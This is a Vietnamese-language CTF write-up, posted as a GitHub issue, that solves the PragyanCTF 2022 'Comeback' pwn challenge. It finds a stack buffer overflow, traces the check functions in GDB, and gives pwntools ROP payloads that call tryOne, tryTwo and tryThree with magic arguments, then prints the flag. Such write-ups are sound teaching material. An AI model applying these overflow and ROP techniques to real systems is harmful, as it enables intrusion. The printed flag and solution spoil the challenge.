kcsc-club / ctfs

repository for kscs-ctfs
8 stars 1 forks source link

Comeback - pwn - PragyanCTF 2022 #24

Closed johnathanhuutri closed 2 years ago

johnathanhuutri commented 2 years ago

Pragyan CTF 2022 - Comeback

Liên kết gốc: https://ctf.pragyan.org/

Bạn cũng có thể tải xuống challenge ở đây: comeback.zip

Zip sẽ chứa 2 file:

Tải xuống và giải nén tệp, sau đó sử dụng patchelf để xem libc mà file vuln sẽ thực thi chung khi chạy:

$ patchelf --print-needed vuln
./libvuln.so
libc.so.6

Chúng ta có thể thấy rằng libvuln.so đã được thêm vào vuln. Vậy chúng ta bắt đầu thôi nào!

1. Tìm lỗi

Trước tiên, ta sử dụng file để kiểm tra thông tin cơ bản:

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab8859ed41701faf63db022982c9ad5b4e32ef98, for GNU/Linux 3.2.0, not stripped

$ file libvuln.so
libvuln.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=0d3c1de134716c37b6cae35304cc0a31eb0f6a84, not stripped

Vậy file vuln là một file thực thi 32 bit không bị ẩn code và file libvuln.so là một đối tượng được chia sẻ cũng không bị ẩn code. Tiếp theo, ta sẽ sử dụng checksec để kiểm tra tất cả các lớp bảo vệ của vuln:

$checksec vuln
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RUNPATH:  './'

Chỉ có NX enabled được bật. Cuối cùng, ta dịch ngược tệp vuln bằng ghidra để có cái nhìn rõ hơn về chương trình. Lúc đầu, chương trình chạy trong hàm main() nhưng không có gì thú vị. Tiếp theo, nó chuyển đến new_main() trông thú vị hơn:

image

Biến được định nghĩa với kích thước là 44 nhưng chúng ta có thể đọc tối đa 0x200 byte -> Buffer Overflow.

Và ta có thể nhận thấy rằng có một hàm được gọi là sysfuncs():

image

Trong sysfuncs(), nó thực thi 3 hàm lạ tên là tryOne(), tryTwo() và tryThree() mà chúng ta không thể tìm thấy trong file vuln, nhưng có thể trong libvuln.so sẽ chứa các hàm này.

Vì vậy ta sẽ dịch ngược file libvuln.so để tìm hiểu các hàm đó và thực thi để có thể hiểu được các hàm đang làm gì. Ta sẽ dùng bug Buffer Overflow để overwrite return address và bắt chương trình thực thi hàm sysfuncs để có thể hiểu rõ về các hàm tryOne() đến tryThree():

payload = cyclic(52)                         # Padding to eip
payload += p32(exe.sym['sysfuncs'] + 59)     # 
p.sendafter(b'All the Best :)', payload)

Với sysfuncs () + 59, ta sẽ có mã assembly như này:

   0x08049291 <+59>:    push   0x6
   0x08049293 <+61>:    push   0x5
   0x08049295 <+63>:    push   0x4
   0x08049297 <+65>:    call   0x8049130 <tryOne@plt>

Chạy script, debug với GDB và dừng ngay hàm đầu tiên của function tryOne(), ta có thể thấy rằng hàm thực thi câu lệnh này:

sprintf(p1, "%p", 4)

Tức là nó sẽ ghi chuỗi 0x4 vào biến toàn cục p1:

gef➤  x/xw &p1
0xf7f3d078 <p1>:    0x00347830        # '0x4'

gef➤  x/xw &p2
0xf7f3d06c <p2>:    0x00000000

gef➤  x/xw &p3
0xf7f3d084 <p3>:    0x00000000

gef➤  x/xw &p4
No symbol table is loaded.  Use the "file" command.

Chúng ta cũng có thể thấy rằng không chỉ có p1 mà còn có các biến toàn cục p2 và p3. Tiếp theo, hàm tryOne() sẽ tiếp tục thực thi các hàm này:

sprintf(p2, "%p", 5)
sprintf(p3, "%p", 6)

Bạn có biết số 4, 5 và 6 được lấy từ đâu để chuyển cho sprintf() không? Đó là con số mà nó nhận được từ 3 lần push trước đó trước khi chúng ta đi vào hàm tryOne () của code tại địa chỉ sysfuncs() + 59.

Sau 3 lệnh sprintf() đó, nó sẽ đưa biến toàn cục check_p1 vào hàm __encrypt. Ta hãy xem coi biến check_p1 đó chứa những gì

gef➤  x/3xw &check_p1
0xf7f3d040 <check_p1>:  0x4f512c03  0x55453e48  0x00005027

gef➤  x/3xw &check_p2
0xf7f3d04c <check_p2>:  0x1a532c03  0x51443e19  0x00005324

gef➤  x/3xw &check_p3
0xf7f3d058 <check_p3>:  0x1a512c03  0x51413e19  0x00005321

gef➤  x/3xw &check_p4
No symbol table is loaded.  Use the "file" command.

Như chúng ta có thể mong đợi rằng chỉ có 3 biến check tương ứng với 3 biến toàn cục p1, p2p3. Chúng ta biết rằng 3 biến toàn cục p1, p2p3 lấy giá trị từ sprintf () nhưng 3 biến check check_p1, check_p2check_p3, ta không thể thấy nó lấy giá trị từ đâu.

Với các lần chạy khác nhau, chúng ta thấy rằng 3 biến check vẫn giống nhau và nó chứa cùng một giá trị nên ta không thể thay đổi 3 biến check đó. Vậy ta hãy xem tiếp khi nó đi đến hàm strcmp() để so sánh p1 với check_p1 sau __encrypt:

image

Chúng ta có thể thấy rằng nó so sánh chuỗi 0x4 (lấy từ đối số) với chuỗi 0xdeadbeef(không thể thay đổi). Vì vậy, nếu chúng ta truyền đối số với số 0xdeadbeef (số định dạng hex), thì nó sẽ giống như chuỗi 0xdeadbeef sau khi sprintf() với %p. Chúng ta sẽ tiếp tục kiểm tra 2 hàm strcmp() kế tiếp để xem các giá trị kiểm tra tiếp theo là gì.

Ta chạy tiếp và dừng lại ở câu lệnh này (trong GDB):

 → 0xf7f3a401 <tryOne+164>     jne    0xf7f3a45b <tryOne+254>   TAKEN [Reason: !Z]

Và ta gõ:

flags +zero

Vậy là ta có thể bỏ qua bước kiểm tra này để đi đến hàm strcmp thứ hai:

image

Ta có thể thấy rằng ở strcmp thứ hai, nó so sánh chuỗi 0x5 với 0xf00dcafe, và ta cũng có thể thỏa mãn điều kiện này.

Tiếp tục kiểm tra và ta nhận được:

image

Ở hàm strcmp cuối cùng, nó so sánh chuỗi 0x6 với 0xd00dface và ta cũng có thể đáp ứng điều này.

Sau 3 lần kiểm tra ở hàm tryOne(), nếu thỏa mãn thì biến toàn cục set được gán giá trị 1:

!image

Và với hàm tryTwo() và tryThree() cũng sẽ tương tự như tryOne(). Vì vậy, chúng ta cùng chuyển sang phần tiếp theo: Ý tưởng!

2. Ý tưởng

Với tryThree(), nếu tất cả các kiểm tra được thỏa mãn bao gồm cả 3 đối số đều đúng và set bằng 2 (yêu cầu chúng ta thực hiện tryOne() xong tới tryTwo() trước), chúng ta có thể lấy được cờ. Do đó, mục đích là thực thi tryOne() sau đó tryTwo() và cuối cùng là tryThree()

P/s: Khi writeup, mình nhận thấy rằng chúng ta cũng có thể sử dụng ret2libc để spawn shell sau đó lấy cờ.

3. Khai thác

Giai đoạn 1: Thực thi tryOne ()

Như chúng ta biết rằng chương trình đẩy đối số lên stack trước rồi sau đó call hàm tryOne() (lệnh call sẽ đặt địa chỉ trả về trên stack). Ngăn xếp sẽ trông như thế này khi nó chuyển đến đầu của tryOne ():

0xffe46100│+0x0000: 0x0804929c    <-- Return address
0xffe46104│+0x0004: 0x00000004    <-- Argument 1
0xffe46108│+0x0008: 0x00000005    <-- Argument 2
0xffe4610c│+0x000c: 0x00000006    <-- Argument 3

Vậy ta có format cho việc thực thi các hàm tryOne(), tryTwo() và tryThree() như sau:

payload = <padding to eip> + <địa chỉ trả về> + <đối số 1> + <đối số 2> + ...

Vì vậy payload đầu tiên của ta sẽ trông như thế này:

payload = cyclic(52)
payload += flat(exe.sym['tryOne'])
payload += flat(exe.sym['main'])     # Return address
payload += p32(0xdeadbeef)           # Argument 1
payload += p32(0xf00dcafe)           # Argument 2
payload += p32(0xd00dface)           # Argument 3
p.sendafter(b'All the Best :)', payload)

Chúng ta sẽ muốn chương trình sau khi thực thi hàm tryOne() sẽ trở về main để chúng ta có thể tiếp tục nhập dữ liệu, từ đó thực thi hàm tryTwo() và tryThree(). Và bởi vì biến toàn cục set nên nếu chúng ta hoàn thành hàm tryOne(), nó sẽ được gán giá trị 1. Và khi ta hoàn thành thực thi hàm tryTwo(), biến set sẽ được gán với giá trị 2, từ đó giúp ta lấy cờ ở hàm tryThree().

Sau khi thực thi script, ta có thể thấy rằng nó in ra chuỗi Nice Try và đợi đầu vào:

image

Vì vậy, ta hãy chuyển sang giai đoạn 2: Thực hiện tryTwo()

Stage 2: Thực hiện tryTwo ()

Ta vẫn debug với GDB để biết thứ tự cũng như chuỗi nào nào sẽ được kiểm tra, và ta có payload như sau (chỉ cần dừng lại ở strcmp() và ta sẽ biết được ta cần so sánh chuỗi nào):

payload = cyclic(52)
payload += flat(exe.sym['tryTwo'])
payload += flat(exe.sym['main'])
payload += p32(0xf00dcafe)
payload += p32(0xd00dface)
payload += p32(0xdeadbeef)
p.sendafter(b'All the Best :)', payload)

Stage 3: Thực hiện tryThree ()

Giai đoạn 3 cũng giống như trên:

payload = cyclic(52)
payload += flat(exe.sym['tryThree'])
payload += flat(exe.sym['main'])
payload += p32(0xd00dface)
payload += p32(0xdeadbeef)
payload += p32(0xf00dcafe)
p.sendafter(b'All the Best :)', payload)

Và ta lấy được cờ.

Full code: solve.py

4. Lấy cờ

image

Cờ là p_ctf{y3s_1t_w4s_a_R0p_4gh2e7c0}